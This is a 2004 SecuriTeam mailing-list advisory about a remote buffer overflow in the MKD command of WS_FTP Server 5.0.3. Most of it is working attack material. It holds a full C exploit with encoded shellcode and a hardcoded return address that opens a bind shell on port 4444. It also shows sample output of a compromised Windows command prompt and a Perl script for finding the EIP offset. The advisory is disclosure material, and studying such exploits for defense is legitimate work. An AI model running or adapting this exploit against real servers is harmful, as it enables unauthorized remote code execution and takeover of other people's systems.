

[EXPL] WS_FTP Server MKD Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0105.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/29/04

To: list@securiteam.com

Date: 29 Nov 2004 17:13:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

WS_FTP Server MKD Buffer Overflow (Exploit)

SUMMARY

<http://www.ipswitch.com/products/WS_FTP-Server/index.html> WS_FTP Server is "a high-powered, easy-to-use FTP (File Transfer Protocol) server for Windows NT/2000. It allows you to securely share files and folders with customers, vendors, colleagues, and others over the Internet".

A vulnerability in WS_FTP's MKD command allows a remote attacker to cause it to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

* WS_FTP Server version 5.0.3

Exploit:

/*

```
no@0x00:~/Exploits/IPS-WSFTP$ ./IPSWFTP-exploit 10.20.30.2 test test
```

```
***Ipswitch WS_FTP Remote buffer overflow exploit by NoPh0BiA.***
```

```
[x] Connected to: 10.20.30.2 on port 21.
```

Securiteam: [EXPL] WS_FTP Server MKD Buffer Overflow (Exploit)

```
[x] Sending Login..done.  
[x] Sending bad code..done.  
[x] Checking if exploitation was successful..  
[x] Connected to: 10.20.30.2 on port 4444.  
[x] Own3d!
```

```
Microsoft Windows 2000 [Version 5.00.2195]  
(C) Copyright 1985–2000 Microsoft Corp.
```

```
C:\WINNT\system32>
```

```
Greetz to Reed Arvin, NtWaK0,kane,schap, and kamalo :)
```

```
*/  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <sys/wait.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <errno.h>  
  
#define PORT 21  
#define RPORT 4444  
#define RET "\x53\x9B\x2E\x7C" /*win2k sp4*/  
  
char shellcode[]=  
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xb1\xbe"  
"\x94\x1d\x83\xeb\xfc\xe2\xf4\x4d\x56\xc2\x1d\xb1\xbe\xc7\x48\xe7"  
"\xe9\x1f\x71\x95\xa6\x1f\x58\x8d\x35\xc0\x18\xc9\xbf\x7e\x96\xfb"  
"\xa6\x1f\x47\x91\xbf\x7f\xfe\x83\xf7\x1f\x29\x3a\xbf\x7a\x2c\x4e"  
"\x42\xa5\xdd\x1d\x86\x74\x69\xb6\x7f\x5b\x10\xb0\x79\x7f\xef\x8a"  
"\xc2\xb0\x09\xc4\x5f\x1f\x47\x95\xbf\x7f\x7b\x3a\xb2\xdf\x96\xeb"  
"\xa2\x95\xf6\x3a\xba\x1f\x1c\x59\x55\x96\x2c\x71\xe1\xca\x40\xea"  
"\x7c\x9c\x1d\xef\xd4\xa4\x44\xd5\x35\x8d\x96\xea\xb2\x1f\x46\xad"  
"\x35\x8f\x96\xea\xb6\xc7\x75\x3f\xf0\x9a\xf1\x4e\x68\x1d\xda\x30"  
"\x52\x94\x1c\xb1\xbe\xc3\x4b\xe2\x37\x71\xf5\x96\xbe\x94\x1d\x21"  
"\xbf\x94\x1d\x07\xa7\x8c\xfa\x15\xa7\xe4\xf4\x54\xf7\x12\x54\x15"  
"\xa4\xe4\xda\x15\x13\xba\xf4\x68\xb7\x61\xb0\x7a\x53\x68\x26\xe6"  
"\xed\xa6\x42\x82\x8c\x94\x46\x3c\xf5\xb4\x4c\x4e\x69\x1d\xc2\x38"  
"\x7d\x19\x68\xa5\xd4\x93\x44\xe0\xed\x6b\x29\x3e\x41\xc1\x19\xe8"  
"\x37\x90\x93\x53\x4c\xbf\x3a\xe5\x41\xa3\xe2\xe4\x8e\xa5\xdd\xe1"  
"\xee\xc4\x4d\xf1\xee\xd4\x4d\x4e\xeb\xb8\x94\x76\x8f\x4f\x4e\xe2"  
"\xd6\x96\x1d\xa0\xe2\x1d\xfd\xdb\xae\xc4\x4a\x4e\xeb\xb0\x4e\xe6"  
"\x41\xc1\x35\xe2\xea\xc3\xe2\xe4\x9e\x1d\xda\xd9\xfd\xd9\x59\xb1"  
"\x37\x77\x9a\x4b\x8f\x54\x90\xcd\x9a\x38\x77\xa4\xe7\x67\xb6\x36"  
"\x44\x17\xf1\xe5\x78\xd0\x39\xa1\xfa\xf2\xda\xf5\x9a\xa8\x1c\xb0"  
"\x37\xe8\x39\xf9\x37\xe8\x39\xfd\x37\xe8\x39\xe1\x33\xd0\x39\xa1"  
"\xea\xc4\x4c\xe0\xef\xd5\x4c\xf8\xef\xc5\x4e\xe0\x41\xe1\x1d\xd9"  
"\xcc\x6a\xae\xa7\x41\xc1\x19\x4e\x6e\x1d\xfb\x4e\xcb\x94\x75\x1c"
```

Securiteam: [EXPL] WS_FTP Server MKD Buffer Overflow (Exploit)

```
"\x67\x91\xd3\x4e\xeb\x90\x94\x72\xd4\x6b\xe2\x87\x41\x47\xe2\xc4"  
"\xbe\xfc\xed\x3b\xba\xcb\xe2\xe4\xba\xa5\xc6\xe2\x41\x44\xd1";
```

```
struct sockaddr_in hrm;
```

```
void shell(int sock)
```

```
{
```

```
fd_set fd_read;
```

```
char buff[1024];
```

```
int n;
```

```
while(1) {
```

```
FD_SET(sock,&fd_read);
```

```
FD_SET(0,&fd_read);
```

```
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
```

```
if( FD_ISSET(sock, &fd_read) ) {
```

```
n=read(sock,buff,sizeof(buff));
```

```
if (n == 0) {
```

```
printf ("Connection closed.\n");
```

```
exit(EXIT_FAILURE);
```

```
} else if (n < 0) {
```

```
perror("read remote");
```

```
exit(EXIT_FAILURE);
```

```
}
```

```
write(1,buff,n);
```

```
}
```

```
if ( FD_ISSET(0, &fd_read) ) {
```

```
if((n=read(0,buff,sizeof(buff)))<=0){
```

```
perror ("read user");
```

```
exit(EXIT_FAILURE);
```

```
}
```

```
write(sock,buff,n);
```

```
}
```

```
}
```

```
close(sock);
```

```
}
```

```
int conn(char *ip,int p)
```

```
{
```

```
int sockfd;
```

```
hrm.sin_family = AF_INET;
```

```
hrm.sin_addr.s_addr = inet_addr(ip);
```

```
hrm.sin_port = htons(p);
```

```
bzero(&(hrm.sin_zero),8);
```

```
sockfd=socket(AF_INET,SOCK_STREAM,0);
```

```
if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr))) < 0)
```

```
{
```

```
perror("connect");
```

Securiteam: [EXPL] WS_FTP Server MKD Buffer Overflow (Exploit)

```
    exit(0);
}

printf("[x] Connected to: %s on port %d.\n",ip,p);

return sockfd;
}

int main(int argc, char *argv[])
{
    printf("***Ipswitch WS_FTP Remote buffer overflow exploit by
NoPh0BiA.***\n");
    if(argc<4)
    {
        fprintf(stderr,"Usage: IP USER PASS\n");
        exit(0);
    }

    char
    *buffer=malloc(954),*A=malloc(519),*B=malloc(32),*target=argv[1],*user=malloc(32),*pass=malloc(32),*request=r
    int x,y;
    memset(request,'\0',32);
    memset(user,'\0',32);
    memset(pass,'\0',32);
    memset(buffer,'\0',954);
    memset(A,0x41,519);
    memset(B,0x42,32);

    strcpy(user,argv[2]);
    strcpy(pass,argv[3]);

    strcat(buffer,A);
    strcat(buffer,RET);
    strcat(buffer,B);
    strcat(buffer,shellcode);

    sprintf(request,"USER %s\r\nPASS %s\r\n",user,pass);

    x = conn(target,PORT);
    printf("[x] Sending Login..");
    write(x,request,strlen(request));
    printf("done.\n");
    sleep(2);

    printf("[x] Sending bad code..");
    write(x,"MKD ",4);
    write(x,buffer,954);
    write(x,"\r\n",2);
    printf("done.\n");
    sleep(2);
    close(x);
```

Securiteam: [EXPL] WS_FTP Server MKD Buffer Overflow (Exploit)

```
printf("[x] Checking if exploitation was successful.\n");
y=conn(target,RPORT);
printf("[x] 0wn3d!\n\n");
shell(y);
close(y);
}
```

Helper script:

The following Perl script can be used to find the coordinates for A and B so that the RET address affects the EIP and the shellcode is executed.

```
#!/usr/bin/perl
# WS_FTP RET Address finder
# Noam Rathaus of Beyond Security Ltd.
#

use strict;
use IO::Socket::INET;

usage() unless (@ARGV >= 2);

my $host = shift(@ARGV);
my $port = shift(@ARGV);

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to the host.\n";

$socket->autoflush(1);
while (<$socket>)
{
    print $_;
    if (/220 /)
    {
        last;
    }
}

print $socket "USER noam\n";
while (<$socket>)
{
    print $_;
    if (/331 /)
    {
        last;
    }
}

print $socket "PASS password\n";
while (<$socket>)
{
```

Securiteam: [EXPL] WS_FTP Server MKD Buffer Overflow (Exploit)

```
print $_;
if (/230 /)
{
  last;
}
}

my $RET = 4;
my $size = 2000;
my $presize = shift(@ARGV) || 200;
my $postsize = shift(@ARGV) || 800;

print $socket "MKD ".("A"x$presize)."DEEF".("B"x($size - $presize -
$postsize - $RET)).("C"x$postsize)."\n";

while (<$socket>)
{
  print $_;
}

print "Done.\n";

close($socket);
exit(0);

sub usage
{
  print "\nws_ftp.pl MKD alignment assistant\n";
  print "\nUsage: ws_ftp.pl [host] [port] [pre] [post]\n";
  print "We generate something of the sorts of \"A\"xpre \"DEEF\"
\"B\"x(2000-pre-post-4) \"C\"xpost.\n";
  print "You need to align your pre and post so that the EIP is DEEF
0x44454546\n";
  print "\n";
  exit(1);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:noph0bia@lostspirits.org>>
NoPh0BiA.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [EXPL] WS_FTP Server MKD Buffer Overflow (Exploit)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.